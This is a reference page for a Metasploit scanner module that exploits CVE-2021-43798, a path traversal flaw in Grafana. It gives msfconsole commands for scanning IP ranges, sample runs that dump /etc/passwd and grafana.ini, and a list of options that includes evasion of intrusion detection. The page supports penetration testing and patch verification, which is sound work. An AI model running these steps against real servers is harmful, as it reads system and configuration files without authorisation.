Grafana Plugin Path Traversal - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/grafana_plugin_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
- Module Overview
- Knowledge Base
- Vulnerable Application
- Verification Steps
- Options
- Scenarios
- Experimental feature
- Default timezone for user preferences. Options are 'browser' for the browser local timezone or a timezone name from IANA Time Zone database, e.g. 'UTC' or 'Europe/Amsterdam' etc.
- Enable or disable the expressions functionality.
- Set the JSON configuration for the default basemap
- Enable or disable loading other base map layers
- Msfconsole Usage
- Error Messages
- Related Pull Requests
- References
- See Also
- Authors
- Version
Module Overview
Name: Grafana Plugin Path Traversal
Module: auxiliary/scanner/http/grafana_plugin_traversal
Source code: modules/auxiliary/scanner/http/grafana_plugin_traversal.rb
Disclosure date: -
Last modification time: 2021-12-19 16:18:05 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-43798
Grafana versions 8.0.0-beta1 through 8.3.0 prior to 8.0.7, 8.1.8, 8.2.7, or 8.3.1 are vulnerable to directory traversal through the plugin URL. A valid plugin ID is required, but many are installed by default.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/grafana_plugin_traversal
msf auxiliary(grafana_plugin_traversal) > show options
... show and set options ...
msf auxiliary(grafana_plugin_traversal) > set RHOSTS ip-range
msf auxiliary(grafana_plugin_traversal) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(grafana_plugin_traversal) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(grafana_plugin_traversal) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(grafana_plugin_traversal) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Grafana versions 8.0.0-beta1 through 8.3.0 prior to 8.0.7, 8.1.8, 8.2.7, or 8.3.1 are vulnerable to directory traversal through the plugin URL. A valid plugin ID is required, but many are installed by default.
Vulnerable Docker Image
docker run -p 3000:3000 --name grafana bitnami/grafana:8.3.0
Verification Steps
- Install the application
- Start msfconsole
- Do:
use auxiliary/scanner/http/grafana_plugin_traversal
- Do:
set rhosts [ip]
- Do:
run
- You should retrieve a file.
Options
FILEPATH
The path to the file to read. Defaults to /etc/grafana/grafana.ini
DEPTH
The depth of ../
needed to get to the file system root. Defaults to 13
PLUGINS_FILE
The plugin file to use. Defaults to data/wordlists/grafana_plugins.txt
Scenarios
Grafana 8.3.0 on Ubuntu 20.04
[*] Processing grafana.rb for ERB directives.
resource (grafana.rb)> use auxiliary/scanner/http/grafana_plugin_traversal
resource (grafana.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (grafana.rb)> set verbose true
verbose => true
resource (grafana.rb)> set filepath /etc/passwd
filepath => /etc/passwd
resource (grafana.rb)> run
[+] Detected vulnerable Grafina: 8.3.0
[*] Attempting plugin: alertlist
[+] root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:112:117::/usr/share/grafana:/bin/false
[+] 1.1.1.1:3000 - File saved in: /home/metasploit/.msf4/loot/20211215162817_default_1.1.1.1_grafana.loot_096504.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Grafana 8.3.0 on Docker
Using docker run -p 3000:3000 --name grafana bitnami/grafana:8.3.0
The grafana.ini
file is located in /opt/bitnami/grafana/conf/grafana.ini
[*] Processing grafana.rb for ERB directives.
resource (grafana.rb)> use auxiliary/scanner/http/grafana_plugin_traversal
resource (grafana.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (grafana.rb)> set verbose true
verbose => true
resource (grafana.rb)> set filepath /opt/bitnami/grafana/conf/grafana.ini
filepath => /opt/bitnami/grafana/conf/grafana.ini
resource (grafana.rb)> run
[+] Detected vulnerable Grafina: 8.3.0
[*] 127.0.0.1 - Progress 0/40 (0.0%)
[*] Attempting plugin: alertlist
[+] alertlist was found and exploited successfully
[+] ##################### Grafana Configuration Example #####################
#
# Everything has defaults so you only need to uncomment things you want to
# change
# possible values : production, development
;app_mode = production
# instance name, defaults to HOSTNAME environment variable value or hostname if HOSTNAME var is empty
;instance_name = ${HOSTNAME}
...snip...
Experimental feature
;use_browser_locale = false
Default timezone for user preferences. Options are 'browser' for the browser local timezone or a timezone name from IANA Time Zone database, e.g. 'UTC' or 'Europe/Amsterdam' etc.
;default_timezone = browser
[expressions]
Enable or disable the expressions functionality.
;enabled = true
[geomap]
Set the JSON configuration for the default basemap
;default_baselayer_config = {
; "type": "xyz",
; "config": {
; "attribution": "Open street map",
; "url": "https://tile.openstreetmap.org/{z}/{x}/{y}.png"
; }
;}
Enable or disable loading other base map layers
;enable_custom_baselayers = true
[+]127.0.0.1:3000 - File saved in: /home/metasploit/.msf4/loot/20211219160839_default_127.0.0.1_grafana.loot_370996.ini
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/grafana_plugin_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/grafana_plugin_traversal
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > show info
Name: Grafana Plugin Path Traversal
Module: auxiliary/scanner/http/grafana_plugin_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
h00die
jordyv
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 13 yes Traversal depth
FILEPATH /etc/grafana/grafana.ini yes The name of the file to download
PLUGINS_FILE /opt/metasploit-framework/embedded/framework/data/w yes File containing plugins to enumerate
ordlists/grafana_plugins.txt
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 3000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Grafana instance
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
Grafana versions 8.0.0-beta1 through 8.3.0 prior to 8.0.7, 8.1.8,
8.2.7, or 8.3.1 are vulnerable to directory traversal through the
plugin URL. A valid plugin ID is required, but many are installed by
default.
References:
https://nvd.nist.gov/vuln/detail/CVE-2021-43798
https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
https://www.exploit-db.com/exploits/50581
https://github.com/jas502n/Grafana-CVE-2021-43798
https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce
Module Options
This is a complete list of options available in the scanner/http/grafana_plugin_traversal auxiliary module:
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > show options
Module options (auxiliary/scanner/http/grafana_plugin_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 13 yes Traversal depth
FILEPATH /etc/grafana/grafana.ini yes The name of the file to download
PLUGINS_FILE /opt/metasploit-framework/embedded/framework/data/ yes File containing plugins to enumerate
wordlists/grafana_plugins.txt
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 3000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Grafana instance
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/grafana_plugin_traversal auxiliary module:
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > show advanced
Module advanced options (auxiliary/scanner/http/grafana_plugin_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Acc
epted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X 12.0; rv no The User-Agent header to use for all requests
:94.0) Gecko/20100101 Firefox/94.0
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/grafana_plugin_traversal module can do:
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/grafana_plugin_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/grafana_plugin_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Detected non-vulnerable Grafina: <VERSION>
Here is a relevant code snippet related to the "Detected non-vulnerable Grafina: <VERSION>" error message:
71: version.between?(Rex::Version.new('8.2.0'), Rex::Version.new('8.2.7')) ||
72: version.between?(Rex::Version.new('8.3.0'), Rex::Version.new('8.3.1'))
73: print_good("Detected vulnerable Grafina: #{version}")
74: return Exploit::CheckCode::Appears
75: end
76: print_bad("Detected non-vulnerable Grafina: #{version}")
77: return Exploit::CheckCode::Safe
78: end
79:
80: def run_host(ip)
81: check_code = check
Go back to menu.
Related Pull Requests
References
- CVE-2021-43798
- https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
- https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
- EDB-50581
- https://github.com/jas502n/Grafana-CVE-2021-43798
- https://github.com/grafana/grafana/commit/c798c0e958d15d9cc7f27c72113d572fa58545ce
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/grafana_auth_bypass
- auxiliary/scanner/http/joomla_plugins
- auxiliary/admin/http/wp_automatic_plugin_privesc
- exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce
- exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce
- exploit/multi/browser/firefox_svg_plugin
- exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce
- exploit/multi/http/jira_plugin_upload
- exploit/multi/http/processmaker_plugin_upload
- exploit/multi/http/traq_plugin_exec
- exploit/multi/http/wp_plugin_backup_guard_rce
- exploit/multi/http/wp_plugin_elementor_auth_upload_rce
- exploit/multi/http/wp_plugin_modern_events_calendar_rce
- exploit/multi/http/wp_plugin_sp_project_document_rce
- exploit/unix/http/twiki_debug_plugins
- exploit/unix/webapp/piwik_superuser_plugin_upload
- exploit/unix/webapp/squirrelmail_pgp_plugin
- exploit/windows/browser/foxit_reader_plugin_url_bof
- exploit/windows/local/dnsadmin_serverlevelplugindll
Authors
- h00die
- jordyv
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.